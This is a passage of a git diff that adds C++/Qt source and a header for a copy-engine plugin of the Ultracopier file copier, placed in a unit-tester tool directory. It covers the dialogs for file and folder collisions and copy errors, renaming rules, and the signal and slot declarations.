+void copyEngine::sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"new filter");
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+void copyEngine::showRenamingRules()
+{
+ if(renamingRules==NULL)
+ {
+ QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"options not loaded");
+ return;
+ }
+ renamingRules->exec();
+}
+
+void copyEngine::get_realBytesTransfered(quint64 realBytesTransfered)
+{
+ size_for_speed=realBytesTransfered;
+}
+
+void copyEngine::newActionInProgess(EngineActionInProgress action)
+{
+ if(action==Idle)
+ {
+ timerProgression.stop();
+ timerActionDone.stop();
+ }
+ else
+ {
+ timerProgression.start();
+ timerActionDone.start();
+ }
+}
+
+//dialog message
+/// \note Can be call without queue because all call will be serialized
+void copyEngine::fileAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread)
+{
+ emit collision();
+}
+
+/// \note Can be call without queue because all call will be serialized
+void copyEngine::errorOnFileSlot(QFileInfo fileInfo,QString errorString,TransferThread * thread)
+{
+ emit error();
+}
+
+/// \note Can be call without queue because all call will be serialized
+void copyEngine::folderAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread)
+{
+ emit collision();
+}
+
+/// \note Can be call without queue because all call will be serialized
+void copyEngine::errorOnFolderSlot(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread)
+{
+ emit error();
+}
+
+//mkpath event
+void copyEngine::mkPathErrorOnFolderSlot(QFileInfo folder,QString error)
+{
+ emit error();
+}
+
+//rmpath event
+void copyEngine::rmPathErrorOnFolderSlot(QFileInfo folder,QString error)
+{
+ emit error();
+}
+
+
+/// \note Can be call without queue because all call will be serialized
+void copyEngine::fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the action
+ if(isSame)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file is same: "+source.absoluteFilePath());
+ tempFileExistsAction=alwaysDoThisActionForFileExists;
+ if(tempFileExistsAction==FileExists_Overwrite || tempFileExistsAction==FileExists_OverwriteIfNewer || tempFileExistsAction==FileExists_OverwriteIfNotSameModificationDate)
+ tempFileExistsAction=FileExists_NotSet;
+ switch(tempFileExistsAction)
+ {
+ case FileExists_Skip:
+ case FileExists_Rename:
+ thread->setFileExistsAction(tempFileExistsAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ alreadyExistsQueueItem newItem;
+ newItem.source=source;
+ newItem.destination=destination;
+ newItem.isSame=isSame;
+ newItem.transfer=thread;
+ newItem.scan=NULL;
+ alreadyExistsQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ fileIsSameDialog dialog(interface,source,firstRenamingRule,otherRenamingRule);
+ emit isInPause(true);
+ dialog.exec();/// \bug crash when external close
+ FileExistsAction newAction=dialog.getAction();
+ emit isInPause(false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileExists_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
+ {
+ alwaysDoThisActionForFileExists=newAction;
+ listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
+ switch(newAction)
+ {
+ default:
+ case FileExists_Skip:
+ emit newCollisionAction("skip");
+ break;
+ case FileExists_Rename:
+ emit newCollisionAction("rename");
+ break;
+ }
+ }
+ if(dialog.getAlways() || newAction!=FileExists_Rename)
+ thread->setFileExistsAction(newAction);
+ else
+ thread->setFileRename(dialog.getNewName());
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
+ tempFileExistsAction=alwaysDoThisActionForFileExists;
+ switch(tempFileExistsAction)
+ {
+ case FileExists_Skip:
+ case FileExists_Rename:
+ case FileExists_Overwrite:
+ case FileExists_OverwriteIfNewer:
+ case FileExists_OverwriteIfNotSameModificationDate:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"always do this action: "+QString::number(tempFileExistsAction));
+ thread->setFileExistsAction(tempFileExistsAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QString("dialog open, put in queue: %1 %2")
+ .arg(source.absoluteFilePath())
+ .arg(destination.absoluteFilePath())
+ );
+ alreadyExistsQueueItem newItem;
+ newItem.source=source;
+ newItem.destination=destination;
+ newItem.isSame=isSame;
+ newItem.transfer=thread;
+ newItem.scan=NULL;
+ alreadyExistsQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ fileExistsDialog dialog(interface,source,destination,firstRenamingRule,otherRenamingRule);
+ emit isInPause(true);
+ dialog.exec();/// \bug crash when external close
+ FileExistsAction newAction=dialog.getAction();
+ emit isInPause(false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileExists_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
+ {
+ alwaysDoThisActionForFileExists=newAction;
+ listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
+ switch(newAction)
+ {
+ default:
+ case FileExists_Skip:
+ emit newCollisionAction("skip");
+ break;
+ case FileExists_Rename:
+ emit newCollisionAction("rename");
+ break;
+ case FileExists_Overwrite:
+ emit newCollisionAction("overwrite");
+ break;
+ case FileExists_OverwriteIfNewer:
+ emit newCollisionAction("overwriteIfNewer");
+ break;
+ case FileExists_OverwriteIfNotSameModificationDate:
+ emit newCollisionAction("overwriteIfNotSameModificationDate");
+ break;
+ }
+ }
+ if(dialog.getAlways() || newAction!=FileExists_Rename)
+ thread->setFileExistsAction(newAction);
+ else
+ thread->setFileRename(dialog.getNewName());
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"emit queryOneNewDialog()");
+ emit queryOneNewDialog();
+ }
+ return;
+ break;
+ }
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+/// \note Can be call without queue because all call will be serialized
+void copyEngine::errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the action
+ tempFileErrorAction=alwaysDoThisActionForFileError;
+ switch(tempFileErrorAction)
+ {
+ case FileError_Skip:
+ thread->skip();
+ return;
+ case FileError_Retry:
+ thread->retryAfterError();
+ return;
+ case FileError_PutToEndOfTheList:
+ /// \todo do the read transfer locator and put at the end
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"todo list item not found");
+ return;
+ default:
+ if(dialogIsOpen)
+ {
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=fileInfo;
+ newItem.mkPath=false;
+ newItem.rmPath=false;
+ newItem.scan=NULL;
+ newItem.transfer=thread;
+ errorQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
+ fileErrorDialog dialog(interface,fileInfo,errorString);
+ emit isInPause(true);
+ dialog.exec();/// \bug crash when external close
+ FileErrorAction newAction=dialog.getAction();
+ emit isInPause(false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileError_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
+ {
+ alwaysDoThisActionForFileError=newAction;
+ switch(newAction)
+ {
+ default:
+ case FileError_Skip:
+ emit newErrorAction("skip");
+ break;
+ case FileError_PutToEndOfTheList:
+ emit newErrorAction("putToEndOfTheList");
+ break;
+ }
+ }
+ switch(newAction)
+ {
+ case FileError_Skip:
+ thread->skip();
+ break;
+ case FileError_Retry:
+ thread->retryAfterError();
+ break;
+ case FileError_PutToEndOfTheList:
+ thread->putAtBottom();
+ /// \todo do the read transfer locator and put at the end
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"todo");
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"file error action wrong");
+ break;
+ }
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"isCalledByShowOneNewDialog==true then not show other dial");
+ return;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+/// \note Can be call without queue because all call will be serialized
+void copyEngine::folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"folder already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the always action
+ tempFolderExistsAction=alwaysDoThisActionForFolderExists;
+ switch(tempFolderExistsAction)
+ {
+ case FolderExists_Skip:
+ case FolderExists_Rename:
+ case FolderExists_Merge:
+ thread->setFolderExistsAction(tempFolderExistsAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ alreadyExistsQueueItem newItem;
+ newItem.source=source;
+ newItem.destination=destination;
+ newItem.isSame=isSame;
+ newItem.transfer=NULL;
+ newItem.scan=thread;
+ alreadyExistsQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ folderExistsDialog dialog(interface,source,isSame,destination,firstRenamingRule,otherRenamingRule);
+ dialog.exec();/// \bug crash when external close
+ FolderExistsAction newAction=dialog.getAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FolderExists_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFolderExists)
+ setComboBoxFolderColision(newAction);
+ if(!dialog.getAlways() && newAction==FolderExists_Rename)
+ thread->setFolderExistsAction(newAction,dialog.getNewName());
+ else
+ thread->setFolderExistsAction(newAction);
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+}
+
+/// \note Can be call without queue because all call will be serialized
+/// \todo all this part
+void copyEngine::errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the always action
+ tempFileErrorAction=alwaysDoThisActionForFolderError;
+ switch(tempFileErrorAction)
+ {
+ case FileError_Skip:
+ case FileError_Retry:
+ case FileError_PutToEndOfTheList:
+ thread->setFolderErrorAction(tempFileErrorAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=fileInfo;
+ newItem.mkPath=false;
+ newItem.rmPath=false;
+ newItem.scan=thread;
+ newItem.transfer=NULL;
+ errorQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
+ fileErrorDialog dialog(interface,fileInfo,errorString);
+ dialog.exec();/// \bug crash when external close
+ FileErrorAction newAction=dialog.getAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileError_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
+ setComboBoxFolderError(newAction);
+ dialogIsOpen=false;
+ thread->setFolderErrorAction(newAction);
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+// -----------------------------------------------------
+
+//mkpath event
+void copyEngine::mkPathErrorOnFolder(QFileInfo folder,QString errorString,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file have error: "+folder.absoluteFilePath()+", error: "+errorString);
+ //load the always action
+ tempFileErrorAction=alwaysDoThisActionForFolderError;
+ error_index=0;
+ switch(tempFileErrorAction)
+ {
+ case FileError_Skip:
+ listThread->mkPathQueue.skip();
+ return;
+ case FileError_Retry:
+ listThread->mkPathQueue.retry();
+ return;
+ default:
+ if(dialogIsOpen)
+ {
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=folder;
+ newItem.mkPath=true;
+ newItem.rmPath=false;
+ newItem.scan=NULL;
+ newItem.transfer=NULL;
+ errorQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ emit error(folder.absoluteFilePath(),folder.size(),folder.lastModified(),errorString);
+ fileErrorDialog dialog(interface,folder,errorString,false);
+ dialog.exec();/// \bug crash when external close
+ FileErrorAction newAction=dialog.getAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileError_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
+ {
+ setComboBoxFolderError(newAction);
+ alwaysDoThisActionForFolderError=newAction;
+ }
+ dialogIsOpen=false;
+ switch(newAction)
+ {
+ case FileError_Skip:
+ listThread->mkPathQueue.skip();
+ break;
+ case FileError_Retry:
+ listThread->mkPathQueue.retry();
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unknow switch case: "+QString::number(newAction));
+ break;
+ }
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+//rmpath event
+void copyEngine::rmPathErrorOnFolder(QFileInfo folder,QString errorString,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file have error: "+folder.absoluteFilePath()+", error: "+errorString);
+ //load the always action
+ tempFileErrorAction=alwaysDoThisActionForFolderError;
+ error_index=0;
+ switch(tempFileErrorAction)
+ {
+ case FileError_Skip:
+ listThread->rmPathQueue.skip();
+ return;
+ case FileError_Retry:
+ listThread->rmPathQueue.retry();
+ return;
+ default:
+ if(dialogIsOpen)
+ {
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=folder;
+ newItem.mkPath=false;
+ newItem.rmPath=true;
+ newItem.scan=NULL;
+ newItem.transfer=NULL;
+ errorQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ emit error(folder.absoluteFilePath(),folder.size(),folder.lastModified(),errorString);
+ fileErrorDialog dialog(interface,folder,errorString,false);
+ dialog.exec();/// \bug crash when external close
+ FileErrorAction newAction=dialog.getAction();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileError_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
+ {
+ setComboBoxFolderError(newAction);
+ alwaysDoThisActionForFolderError=newAction;
+ }
+ dialogIsOpen=false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"do the action");
+ switch(newAction)
+ {
+ case FileError_Skip:
+ listThread->rmPathQueue.skip();
+ break;
+ case FileError_Retry:
+ listThread->rmPathQueue.retry();
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unknow switch case: "+QString::number(newAction));
+ break;
+ }
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+//show one new dialog if needed
+void copyEngine::showOneNewDialog()
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"alreadyExistsQueue.size(): "+QString::number(alreadyExistsQueue.size()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"errorQueue.size(): "+QString::number(errorQueue.size()));
+ loop_size=alreadyExistsQueue.size();
+ while(loop_size>0)
+ {
+ if(alreadyExistsQueue.first().transfer!=NULL)
+ {
+ fileAlreadyExists(alreadyExistsQueue.first().source,
+ alreadyExistsQueue.first().destination,
+ alreadyExistsQueue.first().isSame,
+ alreadyExistsQueue.first().transfer,
+ true);
+ }
+ else if(alreadyExistsQueue.first().scan!=NULL)
+ folderAlreadyExists(alreadyExistsQueue.first().source,
+ alreadyExistsQueue.first().destination,
+ alreadyExistsQueue.first().isSame,
+ alreadyExistsQueue.first().scan,
+ true);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"bug, no thread actived");
+ alreadyExistsQueue.removeFirst();
+ loop_size--;
+ }
+ loop_size=errorQueue.size();
+ while(errorQueue.size()>0)
+ {
+ if(errorQueue.first().transfer!=NULL)
+ errorOnFile(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().transfer,true);
+ else if(errorQueue.first().scan!=NULL)
+ errorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().scan,true);
+ else if(errorQueue.first().mkPath)
+ mkPathErrorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,true);
+ else if(errorQueue.first().rmPath)
+ rmPathErrorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,true);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"bug, no thread actived");
+ errorQueue.removeFirst();
+ loop_size--;
+ }
+}
diff --git a/tools/unit-tester/copyEngine.h b/tools/unit-tester/copyEngine.h
new file mode 100644
index 0000000..7d81724
--- /dev/null
+++ b/tools/unit-tester/copyEngine.h
@@ -0,0 +1,263 @@
+/** \file copyEngine.h
+\brief Define the copy engine
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QObject>
+#include <QList>
+#include <QStringList>
+#include <QFileInfo>
+#include <QFile>
+#include <QFileDialog>
+#include <QMessageBox>
+
+#include "../../../interface/PluginInterface_CopyEngine.h"
+#include "fileErrorDialog.h"
+#include "fileExistsDialog.h"
+#include "folderExistsDialog.h"
+#include "fileIsSameDialog.h"
+#include "ui_options.h"
+#include "Environment.h"
+#include "ListThread.h"
+#include "Filters.h"
+#include "RenamingRules.h"
+
+#ifndef COPY_ENGINE_H
+#define COPY_ENGINE_H
+
+namespace Ui {
+ class options;
+}
+
+/// \brief the implementation of copy engine plugin, manage directly few stuff, else pass to ListThread class.
+class copyEngine : public PluginInterface_CopyEngine
+{
+ Q_OBJECT
+public:
+ enum SupportedTest{Test_Copy};
+
+ copyEngine(const QString &path,const QList<SupportedTest> &tests);
+ ~copyEngine();
+private:
+ ListThread *listThread;
+ bool dialogIsOpen;
+ QList<SupportedTest> tests;
+private slots:
+ void fileAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread);
+ void errorOnFileSlot(QFileInfo fileInfo,QString errorString,TransferThread * thread);
+ void folderAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread);
+ void errorOnFolderSlot(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread);
+ void mkPathErrorOnFolderSlot(QFileInfo,QString);
+ void rmPathErrorOnFolderSlot(QFileInfo,QString);
+
+ //dialog message
+ /// \note Can be call without queue because all call will be serialized
+ void fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog=false);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread,bool isCalledByShowOneNewDialog=false);
+ /// \note Can be call without queue because all call will be serialized
+ void folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog=false);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog=false);
+ //mkpath event
+ void mkPathErrorOnFolder(QFileInfo,QString,bool isCalledByShowOneNewDialog=false);
+ //rmpath event
+ void rmPathErrorOnFolder(QFileInfo,QString,bool isCalledByShowOneNewDialog=false);
+
+ //show one new dialog if needed
+ void showOneNewDialog();
+ void sendNewFilters();
+
+ void doChecksum_toggled(bool);
+ void checksumOnlyOnError_toggled(bool);
+ void checksumIgnoreIfImpossible_toggled(bool);
+ void osBuffer_toggled(bool);
+ void osBufferLimited_toggled(bool);
+ void osBufferLimit_editingFinished();
+ void showFilterDialog();
+ void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
+ void showRenamingRules();
+ void get_realBytesTransfered(quint64 realBytesTransfered);
+ void newActionInProgess(EngineActionInProgress);
+ void updateBufferCheckbox();
+public:
+ /** \brief to send the options panel
+ * \return return false if have not the options
+ * \param tempWidget the widget to generate on it the options */
+ bool getOptionsEngine(QWidget * tempWidget);
+ /** \brief to have interface widget to do modal dialog
+ * \param interface to have the widget of the interface, useful for modal dialog */
+ void setInterfacePointer(QWidget * interface);
+ //return empty if multiple
+ /** \brief compare the current sources of the copy, with the passed arguments
+ * \param sources the sources list to compares with the current sources list
+ * \return true if have same sources, else false (or empty) */
+ bool haveSameSource(const QStringList &sources);
+ /** \brief compare the current destination of the copy, with the passed arguments
+ * \param destination the destination to compares with the current destination
+ * \return true if have same destination, else false (or empty) */
+ bool haveSameDestination(const QString &destination);
+ //external soft like file browser have send copy/move list to do
+ /** \brief send copy without destination, ask the destination
+ * \param sources the sources list to copy
+ * \return true if the copy have been accepted */
+ bool newCopy(const QStringList &sources);
+ /** \brief send copy with destination
+ * \param sources the sources list to copy
+ * \param destination the destination to copy
+ * \return true if the copy have been accepted */
+ bool newCopy(const QStringList &sources,const QString &destination);
+ /** \brief send move without destination, ask the destination
+ * \param sources the sources list to move
+ * \return true if the move have been accepted */
+ bool newMove(const QStringList &sources);
+ /** \brief send move without destination, ask the destination
+ * \param sources the sources list to move
+ * \param destination the destination to move
+ * \return true if the move have been accepted */
+ bool newMove(const QStringList &sources,const QString &destination);
+ /** \brief send the new transfer list
+ * \param file the transfer list */
+ void newTransferList(const QString &file);
+
+ /** \brief to get byte read, use by Ultracopier for the speed calculation
+ * real size transfered to right speed calculation */
+ quint64 realByteTransfered();
+ //speed limitation
+ /** \brief get the speed limitation
+ * < -1 if not able, 0 if disabled */
+ qint64 getSpeedLimitation();
+ //get collision action
+ /** \brief get the collision action list */
+ QList<QPair<QString,QString> > getCollisionAction();
+ /** \brief get the collision error list */
+ QList<QPair<QString,QString> > getErrorAction();
+
+ /** \brief to set drives detected
+ * specific to this copy engine */
+ void setDrive(const QStringList &drives);
+
+ /** \brief to sync the transfer list
+ * Used when the interface is changed, useful to minimize the memory size */
+ void syncTransferList();
+
+ void set_doChecksum(bool doChecksum);
+ void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
+ void set_checksumOnlyOnError(bool checksumOnlyOnError);
+ void set_osBuffer(bool osBuffer);
+ void set_osBufferLimited(bool osBufferLimited);
+ void set_osBufferLimit(unsigned int osBufferLimit);
+ void set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
+ void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
+public slots:
+ //user ask ask to add folder (add it with interface ask source/destination)
+ /** \brief add folder called on the interface
+ * Used by manual adding */
+ bool userAddFolder(const CopyMode &mode);
+ /** \brief add file called on the interface
+ * Used by manual adding */
+ bool userAddFile(const CopyMode &mode);
+ //action on the copy
+ /// \brief put the transfer in pause
+ void pause();
+ /// \brief resume the transfer
+ void resume();
+ /** \brief skip one transfer entry
+ * \param id id of the file to remove */
+ void skip(const quint64 &id);
+ /// \brief cancel all the transfer
+ void cancel();
+ //edit the transfer list
+ /** \brief remove the selected item
+ * \param ids ids is the id list of the selected items */
+ void removeItems(const QList<int> &ids);
+ /** \brief move on top of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsOnTop(const QList<int> &ids);
+ /** \brief move up the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsUp(const QList<int> &ids);
+ /** \brief move down the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsDown(const QList<int> &ids);
+ /** \brief move on bottom of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsOnBottom(const QList<int> &ids);
+
+ /** \brief give the forced mode, to export/import transfer list */
+ void forceMode(const CopyMode &mode);
+ /// \brief export the transfer list into a file
+ void exportTransferList();
+ /// \brief import the transfer list into a file
+ void importTransferList();
+
+ /** \brief to set the speed limitation
+ * -1 if not able, 0 if disabled */
+ bool setSpeedLimitation(const qint64 &speedLimitation);
+ //action
+ /// \brief to set the collision action
+ void setCollisionAction(const QString &action);
+ /// \brief to set the error action
+ void setErrorAction(const QString &action);
+
+ // specific to this copy engine
+
+ /// \brief set if the rights shoul be keep
+ void setRightTransfer(const bool doRightTransfer);
+ /// \brief set keep date
+ void setKeepDate(const bool keepDate);
+ /// \brief set block size in KB
+ void setBlockSize(const int blockSize);
+ /// \brief set auto start
+ void setAutoStart(const bool autoStart);
+ /// \brief set if need check if the destination folder exists
+ void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
+ /// \brief reset widget
+ void resetTempWidget();
+ //autoconnect
+ void on_comboBoxFolderColision_currentIndexChanged(int index);
+ void on_comboBoxFolderError_currentIndexChanged(int index);
+ /// \brief need retranslate the insterface
+ void newLanguageLoaded();
+private slots:
+ void setComboBoxFolderColision(FolderExistsAction action,bool changeComboBox=true);
+ void setComboBoxFolderError(FileErrorAction action,bool changeComboBox=true);
+ void warningTransferList(const QString &warning);
+ void errorTransferList(const QString &error);
+signals:
+ void error();
+ void collision();
+
+ //action on the copy
+ void signal_pause();
+ void signal_resume();
+ void signal_skip(const quint64 &id);
+
+ //edit the transfer list
+ void signal_removeItems(const QList<int> &ids);
+ void signal_moveItemsOnTop(const QList<int> &ids);
+ void signal_moveItemsUp(const QList<int> &ids);
+ void signal_moveItemsDown(const QList<int> &ids);
+ void signal_moveItemsOnBottom(const QList<int> &ids);
+
+ void signal_forceMode(const CopyMode &mode);
+ void signal_exportTransferList(const QString &fileName);
+ void signal_importTransferList(const QString &fileName);
+
+ //action
+ void signal_setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists);
+ void signal_setComboBoxFolderColision(FolderExistsAction action);
+ void signal_setFolderColision(FolderExistsAction action);
+
+ //when the cancel is clicked on copy engine dialog
+ void cancelAll();
+
+ //other signals
+ void queryOneNewDialog();
+
+ void send_osBufferLimit(const unsigned int &osBufferLimit);
+ void send_setFilters(const QList<Filters_rules> &include,const QList<Filters_rules> &exclude);
